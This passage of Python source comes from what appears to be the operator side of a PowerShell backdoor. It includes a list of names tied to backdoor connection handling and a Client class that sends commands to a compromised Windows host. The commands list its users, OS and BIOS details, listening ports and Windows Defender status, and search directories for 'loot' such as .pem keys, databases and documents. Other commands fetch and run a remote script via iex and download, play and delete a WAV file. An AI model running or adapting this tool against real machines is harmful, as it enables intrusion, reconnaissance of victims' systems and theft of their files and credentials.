26 | "createBackdoorConnection",
27 | "handleActiveClient",
28 | "writeToStream",
29 | "currentUser",
30 | "computerName",
31 | "pwd",
32 | "prompt",
33 | "rawResponse",
34 | "response",
35 | "output",
36 | "content",
37 | "readCount",
38 | "createPrompt",
39 | "readFromStream",
40 | "getCommand",
41 | "waitForConnection",
42 | "nothingtolookatreally",
43 | "BackdoorManager",
44 | "createTextStream",
45 | "command",
46 | "bytes",
47 | "powershellException",
48 | "msg",
49 | ]
50 |
51 | class Client:
52 | def __init__(self, connection_tuple: tuple, config) -> None:
53 | self.config = config
54 | self.connection = connection_tuple[0]
55 | self.address = connection_tuple[1]
56 | self.features = {
57 | "get_tools": self.get_tools,
58 | "get_public_ip": self.get_public_ip,
59 | "get_file": self.download_remote_file,
60 | "get_loot": self.get_loot,
61 | "print_help": self.print_help,
62 | "get_users": self.get_users,
63 | "get_os":self.get_os,
64 | "get_bios":self.get_bios,
65 | "get_antivirus":self.get_antivirus,
66 | "get_active": self.get_active,
67 | "install_choco": self.install_choco,
68 | "play_wav": self.play_wav,
69 | }
70 |
71 | def run_powershell_command(self, command: str, print_result: bool = True) -> None:
72 | """ Runs a powershell command
73 | :param command: Command to run
74 | :param print_result: If true the result is printed to the screen
75 | """
76 | self.connection.sendto(command.encode(), self.config.ip_tuple)
77 | if print_result:
78 | print(format_string(self.recvall()))
79 |
80 | def get_loot(self, command) -> None:
81 | """ Searches a directory for intresting files
82 | """
83 | try:
84 | directory = command.split(" ")[1]
85 | except:
86 | return
87 | command = f'Get-ChildItem {directory} -Recurse -Include *.doc, *.pdf, *.json, *.pem, *.xlsx, *.xls, *.csv, *.txt ,*.db, *.exe'
88 | self.run_powershell_command(command)
89 |
90 | def get_users(self, command = None) -> None:
91 | """ Lists all users on the local computer
92 | """
93 | command = "Get-LocalUser | Select * | Out-String"
94 | self.run_powershell_command(command)
95 |
96 | def get_bios(self, command = None) -> None:
97 | """ Gets the BIOS's manufacturer name, bios name, and firmware type
98 | """
99 | command = "Get-ComputerInfo | select BiosManufacturer, BiosName, BiosFirmwareType | Out-String"
100 | self.run_powershell_command(command)
101 |
102 | def get_active(self, command = None) -> None:
103 | """ Lists active TCP connections
104 | """
105 | command = "Get-NetTCPConnection -State Listen | Out-String"
106 | self.run_powershell_command(command)
107 |
108 | def get_os(self, command = None) -> None:
109 | """ Gets infomation about the current OS build
110 | """
111 | command = "Get-ComputerInfo | Select OsManufacturer, OsArchitecture, OsName, OSType, OsHardwareAbstractionLayer, WindowsProductName, WindowsBuildLabEx | Out-String"
112 | self.run_powershell_command(command)
113 |
114 | def get_antivirus(self, command = None) -> None:
115 | """ Gets infomation about Windows Defender
116 | """
117 | command = "Get-MpComputerStatus | Select AntivirusEnabled, AMEngineVersion, AMProductVersion, AMServiceEnabled, AntispywareSignatureVersion, AntispywareEnabled, IsTamperProtected, IoavProtectionEnabled, NISSignatureVersion, NISEnabled, QuickScanSignatureVersion, RealTimeProtectionEnabled, OnAccessProtectionEnabled, DefenderSignaturesOutOfDate | Out-String"
118 | self.run_powershell_command(command)
119 |
120 | def install_choco(self, command = None) -> None:
121 | command = "Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))"
122 | self.run_powershell_command(command)
123 |
124 | def play_wav(self, command) -> None:
125 | try:
126 | remote_file = command.split(" ")[1]
127 | duration = int(command.split(" ")[2])
128 | except:
129 | self.__send_fake_request()
130 | return
131 | out_file = "$env:TEMP\\tmpSound.wav"
132 | print(f"[*] Downloading {remote_file}")
133 | download_command = f'Invoke-WebRequest -URI {remote_file} -OutFile "{out_file}"'
134 | self.run_powershell_command(download_command, print_result=False)
135 | print(f"[*] Playing Audio")
136 | play_command = f'(New-Object System.Media.SoundPlayer("{out_file}")).PlaySync()'
137 | self.run_powershell_command(play_command, print_result=False)
138 | time.sleep(duration + 1)
139 | print("[*] Deleting Audio File")
140 | delete_command = f'remove-item -Path "{out_file}" -Force'
141 | self.run_powershell_command(delete_command, print_result=False)
142 |
143 |
144 |
145 | def print_help(self, command = None):
146 | print("""
147 | Command Description
148 |
149 | get_antivirus - Gets infomation about Windows Defender
150 | get_os - Gets infomation about the current OS build
151 | get_active - Lists active TCP connections
152 | get_bios - Gets the BIOS's manufacturer name, bios name, and firmware type
153 | get_public_ip - Makes a network request to api.ipify.org to and returns the computers public IP address
154 | get_loot - Searches a directory for intresting files (May take awhile) ... Syntax: get_loot